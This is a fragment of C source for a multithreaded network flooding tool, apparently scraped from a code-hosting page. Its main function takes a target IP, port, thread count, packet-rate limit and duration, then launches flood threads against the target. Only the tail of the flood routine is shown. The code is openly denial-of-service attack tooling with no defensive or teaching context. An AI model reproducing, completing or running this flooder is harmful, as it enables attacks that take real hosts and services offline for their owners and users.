||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[3]);
|
||||
floodport = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[4]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 20;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user